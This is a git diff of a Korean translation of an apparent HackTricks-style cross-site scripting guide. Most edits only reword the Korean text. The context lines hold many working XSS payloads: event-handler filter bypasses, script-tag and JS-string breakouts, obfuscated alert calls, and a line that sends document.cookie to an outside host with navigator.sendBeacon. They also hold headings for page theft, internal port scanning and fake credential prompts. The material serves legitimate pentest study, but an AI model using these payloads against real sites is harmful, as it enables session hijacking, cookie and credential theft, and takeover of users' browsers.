다음 사항에 유의하세요. **페이로드**를 인코딩하기 위해 `URLencode + HTMLencode`를 어떤 순서로 사용하더라도 **작동하지 않습니다**, 하지만 **페이로드 안에서 혼합할 수 있습니다**.
|
||||
|
||||
**`javascript:`와 함께 Hex 및 Octal 인코딩 사용하기**
|
||||
|
||||
**Hex** 및 **Octal 인코딩**을 사용하여 `iframe`의 `src` 속성 안에서 (최소한) **JS를 실행할 HTML 태그를 선언할 수 있습니다**:
|
||||
`iframe`의 `src` 속성 안에서 (최소한) **HTML 태그를 선언하여 JS를 실행하기 위해** **Hex** 및 **Octal 인코딩**을 사용할 수 있습니다:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -377,7 +376,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
임의의 **`<a href=`** 태그에 **`target="_blank"` 및 `rel="opener"`** 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 **다음 페이지를 확인하세요**:
|
||||
임의의 **`<a href=`** 태그에 **`target="_blank"` 및 `rel="opener"`** 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 **다음 페이지를 확인하십시오**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -385,8 +384,8 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
|
||||
|
||||
### 이벤트 핸들러 우회
|
||||
|
||||
먼저 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻으려면 이 페이지를 확인하세요 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
|
||||
이벤트 핸들러 생성을 방지하는 블랙리스트가 있는 경우, 다음 우회를 시도해 볼 수 있습니다:
|
||||
먼저 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻기 위해 이 페이지를 확인하십시오 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
|
||||
이벤트 핸들러 생성을 방해하는 블랙리스트가 있는 경우, 다음 우회를 시도해 볼 수 있습니다:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -460,7 +459,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
이제 링크를 수정하여 다음과 같은 형태로 만들 수 있습니다.
|
||||
이제 링크를 수정하여 다음 형식으로 만들 수 있습니다.
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
@ -468,19 +467,19 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## JavaScript 코드 내 주입
|
||||
|
||||
이 경우 **입력**은 `.js` 파일의 JS 코드 내에 **반영될 것입니다** 또는 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 수 있습니다.
|
||||
이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영될** 것이거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 것입니다.
|
||||
|
||||
### \<script> 태그 이스케이프
|
||||
|
||||
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입된 경우, `<script>` 태그를 쉽게 **이스케이프하여 닫을 수 있습니다:**
|
||||
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입되면, `<script>` 태그를 **닫아 이스케이프**할 수 있습니다:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에 수행됩니다.
|
||||
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다.
|
||||
|
||||
### JS 코드 내부
|
||||
|
||||
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 발생하면 JS 코드가 실행되지 않기 때문입니다:
|
||||
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -488,7 +487,7 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
### 템플릿 리터럴 \`\`
|
||||
|
||||
단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `** 도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\
|
||||
단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `**도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\
|
||||
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면, `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다:
|
||||
|
||||
이것은 다음과 같이 **악용**될 수 있습니다:
|
||||
@ -554,7 +553,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**자바스크립트 주석 (에서** [**자바스크립트 주석**](#javascript-comments) **트릭)**
|
||||
**JavaScript 주석 (에서** [**JavaScript 주석**](#javascript-comments) **트릭)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -746,14 +745,14 @@ top[8680439..toString(30)](1)
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
여기에서 **DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 설명**을 찾을 수 있습니다.\
|
||||
또한, 언급된 게시물의 **끝부분에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾는 것을 잊지 마세요.
|
||||
여기에서 **DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 설명을 찾을 수 있습니다**.\
|
||||
또한, **언급된 게시물의 끝에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
|
||||
|
||||
### Self-XSS 업그레이드
|
||||
|
||||
### 쿠키 XSS
|
||||
|
||||
쿠키 안에 페이로드를 보내어 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다:
|
||||
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토스 공격을 사용할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -767,9 +766,9 @@ dom-xss.md
|
||||
|
||||
### 세션 미러링
|
||||
|
||||
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다.
|
||||
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 볼 수 있습니다.
|
||||
|
||||
당신은 **관리자가 당신의 self XSS를 유발하게 하여 그의 쿠키/세션을 탈취할 수 있습니다.**
|
||||
당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 탈취할 수 있습니다**.
|
||||
|
||||
## 기타 우회 방법
|
||||
|
||||
@ -792,7 +791,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
그런 다음 onfocus 속성이 삽입되고 XSS가 발생합니다.
|
||||
그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다.
|
||||
|
||||
### 특수 조합
|
||||
```html
|
||||
@ -826,18 +825,18 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
302 Redirect 응답에서 **헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
|
||||
만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
|
||||
|
||||
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하는 방법과 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인할 수 있습니다.\
|
||||
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하고, 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인하는 방법을 읽을 수 있습니다.\
|
||||
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
|
||||
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
|
||||
만약 **callback**을 지정할 수 있다면, javascript가 **실행할** 수 있는 문자로 제한됩니다. [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 만약 `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
@ -869,8 +868,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **모듈** (기본, 설명할 필요 없음)
|
||||
- [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 함께 패키징할 수 있는 기능입니다.
|
||||
- **모듈** (기본, 설명할 것 없음)
|
||||
- [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -946,7 +945,7 @@ import { partition } from "lodash"
|
||||
|
||||
예를 들어 [**이 글**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 스크립트 내에서 **JSON 문자열을 이스케이프**하고 임의의 코드를 실행하는 데 사용되었습니다.
|
||||
|
||||
### Chrome 캐시에서 XSS
|
||||
### Chrome 캐시에서 XSS로
|
||||
|
||||
{{#ref}}
|
||||
chrome-cache-to-xss.md
|
||||
@ -1000,7 +999,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
따라서, 해당 모듈에서 **다른 함수를 호출할 수 있다면**, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다:
|
||||
따라서, 해당 모듈에서 **다른 함수를 호출할 수** 있다면, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1009,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
이전 예제와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
|
||||
이전 예와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1051,7 +1050,6 @@ trigger()
|
||||
|
||||
- **하나의 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
@ -1231,7 +1229,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```
|
||||
## XSS 일반 페이로드
|
||||
|
||||
### 여러 페이로드를 하나로
|
||||
### 여러 페이로드를 1개로
|
||||
|
||||
{{#ref}}
|
||||
steal-info-js.md
|
||||
@ -1239,7 +1237,7 @@ steal-info-js.md
|
||||
|
||||
### Iframe 트랩
|
||||
|
||||
사용자가 iframe을 벗어나지 않고 페이지 내에서 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
|
||||
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
@ -1268,7 +1266,7 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> 당신은 **HTTPOnly 플래그가 쿠키에 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 만약 운이 좋다면.
|
||||
> HTTPOnly 플래그가 쿠키에 설정되어 있으면 **JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법](../hacking-with-cookies/index.html#httponly)이 있습니다, 운이 좋다면.
|
||||
|
||||
### 페이지 콘텐츠 훔치기
|
||||
```javascript
|
||||
@ -1361,7 +1359,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
```
|
||||
_짧은 시간은 응답하는 포트를 나타냅니다._ _긴 시간은 응답이 없음을 나타냅니다._
|
||||
|
||||
Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하고, Firefox에서 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
|
||||
Chrome에서 차단된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
|
||||
|
||||
### 자격 증명을 요청하는 상자
|
||||
```html
|
||||
@ -1499,7 +1497,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값은 정규 표현식의 입력값이 제거된 후에도 여전히 찾을 수 있습니다:
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1622,15 +1620,15 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
더 많은 SVG 페이로드를 찾으려면 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 를 참조하세요.
|
||||
|
||||
## Misc JS Tricks & Relevant Info
|
||||
## 기타 JS 트릭 및 관련 정보
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## XSS resources
|
||||
## XSS 리소스
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||||
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||||
|
Loading…
x
Reference in New Issue
Block a user